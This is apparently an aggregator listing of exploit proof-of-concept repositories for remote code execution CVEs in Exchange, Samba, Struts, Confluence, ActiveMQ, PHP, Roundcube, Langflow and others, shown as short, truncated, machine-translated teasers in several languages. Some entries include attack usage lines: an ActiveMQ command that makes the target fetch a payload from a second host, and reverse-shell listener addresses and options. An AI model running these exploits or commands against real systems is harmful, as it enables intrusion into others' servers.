Microsoft-Exchange-RCE

Microsoft-Exchange-RCE Microsoft Exchange CVE-2021-26855&CVE-2021-27065...

CVE-2007-2447-in-Python

CVE-2007-2447 - Implementazione in Python Descrizione Implementazione in Python dell'exploit RCE 'Username' map script' per Samba 3.0.20 IP - IP della macchina remota. PORT - Opzionale Porta su cui smb è in esecuzione. PAYLOAD - Payload da eseguire sulla macchina remota, ad esempio reverse shell...

CVE-2024-53677-Docker

CVE-2024-53677 - Apache Struts 2 Remote Code Execution-Schwachstelle RCE Reproduktionsumgebung Dieses Repository bietet eine Docker-basierte Umgebung zur Reproduktion der CVE-2024-53677-Sicherheitslücke in Apache Struts 2. Diese Schwachstelle beinhaltet Path Traversal und ermöglicht die Ausführun...

CVE-2022-26134

CVE-2022-26134 -u URL, --url URL Ziel-URL -c COMMAND, --command COMMAND Befehl -i LHOST, --lhost LHOST Reverse-Host-Adresse -p LPORT, --lport LPORT Reverse-Host-Port -f FILE, --file FILE Stapel-Scan...

CVE-2022-28113

Fantec MWiD25-DS Analisi per CVE-2022-28113 di @code-byter ========================== Questa è un'analisi dello sfruttamento del Fantec MWiD25-DS Travel Router versione firmware: 2.000.030. Questa vulnerabilità consente a qualsiasi utente non autorizzato di eseguire comandi arbitrari come utente...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Progetto di riferimento Questo progetto è una riscrittura in Python dell'exploit del progetto https://github.com/X1r0z/ActiveMQ-RCE. Utilizzo root@kitploit: python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Il parametro -p è predefinito sulla porta predefinita d...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Exécution de code à distance non authentifiée https://vulners.com/cve/CVE-2022-24637 Exemple root@kitploit: python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

Craft-CMS-Exploit

Este script Python explora a vulnerabilidade de Execução Remota de Código CVE-2023-41892 do Craft CMS, que é um popular sistema de gerenciamento de conteúdo. As versões entre 4.0.0-RC1 e 4.4.14 são afetadas por esta vulnerabilidade, permitindo que atacantes executem código arbitrário remotamente,...

CVE-2023-22527

CVE-2023-22527 CVE-2023-22527 - Vulnerabilità RCE Esecuzione di Codice Remoto nelle versioni datate di Confluence Data Center e Server Data di rilascio dell'avviso Tue, Jan 16 2024 01:00 EST Prodotti: Confluence Data Center Confluence Server Versioni Interessate: 8.0.x 8.1.x 8.2.x 8.3.x 8.4.x...

CVE-2024-23897

CVE-2024-23897 CVE-2024-23897 - La vulnerabilità di lettura arbitraria dei file tramite la CLI può portare a RCE Prodotti e versioni interessati: Prodotto| Versioni interessate ---|--- Jenkis Server| = 2.441 = LTS 2.426.3 CVSS: CRITICAL Sfruttata attivamente: SÌ Patch: SÌ Mitigazione: SÌ Aiuto...

CVE-2023-34152

CVE-2023-34152 ثغرة تنفيذ أوامر عن بُعد RCE تؤثر على ImageMagick 6.9.6-4. تسمح هذه الثغرة للمهاجم بتنفيذ أوامر على نظام الضحية، مما يتيح تنفيذ أوامر عن بُعد. هذا إثبات مفهوم POC مستوحى من اكتشاف fullwaywang لثغرة CVE-2023-34152. الإفصاح عن الثغرة root@kitploit: Usage: python3 CVE-2023-34152.py...

CVE-2024-4577-RCE-ATTACK

PHP CVE-2024-4577-RCE-ATTACK-ATTACK 📜 Descrizione Nelle versioni PHP 8.1. precedenti a 8.1.29, 8.2. precedenti a 8.2.20, 8.3. precedenti a 8.3.8, quando si utilizza Apache e PHP-CGI su Windows, se il sistema è configurato per utilizzare determinate tabelle codici, Windows può utilizzare il...

CVE-2026-56158-.NET-Framework-RCE-PoC-Exploit

CVE-2026-56158 — Exploit PoC di Esecuzione Remota di Codice RCE in .NET Framework Critico CVSS 9.8 — Deserializzazione di dati non attendibili CWE-502 in Microsoft .NET Framework e .NET Runtime Corretto: 14 luglio 2026 | Attribuito a: Positive Technologies PT-2026-60174 Indice Panoramica Dettagli...

CVE-2025-49113

CVE-2025-49113 – PoC di esecuzione di codice remoto RCE in Roundcube Questo repository contiene un exploit Proof-of-Concept PoC per la CVE-2025-49113 , una vulnerabilità critica di esecuzione di codice remoto in Roundcube Webmail versioni precedenti alla 1.5.10 e alla 1.6.11. La vulnerabilità...

Exihibitor-RCE

Exhibitor-RCE Exhibitor Web Ui 1.7.1 RCE, CVE-2019-5029 चरण 1: $ git clone https://github.com/thehunt1s0n/Exihibitor-RCE/ चरण 2: $ cd Exihibitor-RCE/ चरण 3 वैकल्पिक: आपको स्क्रिप्ट में json डेटा पेलोड संपादित करने की आवश्यकता हो सकती है। ऐसा करने के लिए, exihibitor के config टैब में परिवर्तन करते...

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution

AgentDVR-5.1.6.0-Caricamento-file-ed-Esecuzione-Remota-di-Codice CVE-2024-22515 caricamento file arbitrario e CVE-2024-22514 esecuzione remota di codice per AgentDVR 5.1.6.0 Autenticato Versioni precedenti probabilmente affette https://github.com/Orange-418/CVE-2024-22514-Remote-Code-Execution...

CVE-2024-0195-SpiderFlow

CVE-2024-0195 Controllo improprio della generazione di codice 'Code Injection' Riepilogo CVE-2024-0195 è una vulnerabilità critica di code injection nell'applicazione web spider-flow 0.4.3, in particolare nella funzione FunctionService.saveFunction del file FunctionController.java. Un attaccante...

CVE-2024-37759_PoC

CVE-2024-37759 PoC Descrizione DataGear versione 5.0.0 e precedenti presenta una vulnerabilità di iniezione di espressioni SpEL che porta all'esecuzione di codice remoto. Exploit Dettagli dell'Exploit CVE Quando si richiede l'interfaccia /data/schemaId/tableName/view, se la tabella del database n...

CVE-2022-1329-WordPress-Elementor-RCE

CVE-2022-1329-WordPress-Elementor-RCE Dieser POC basiert auf dem von AkuCyberSec. Chinesische Version Verwendung Verwenden Sie docker-compose, um die anfällige Umgebung zu starten: root@kitploit: docker-compose up -d Dann können Sie auf die WordPress-Admin-Seite unter der URL http://localhost:800...

CVE-2026-33017-Langflow-RCE-PoC

CVE-2026-33017-Langflow-RCE-PoC La vulnerabilità in Langflow 1.8.1 e versioni precedenti consente a un attaccante remoto non autenticato di ottenere l'esecuzione arbitraria di comandi sull'host. Descrizione L'endpoint POST /api/v1/buildpublictmp/flowid/flow consente a chiunque di creare flussi...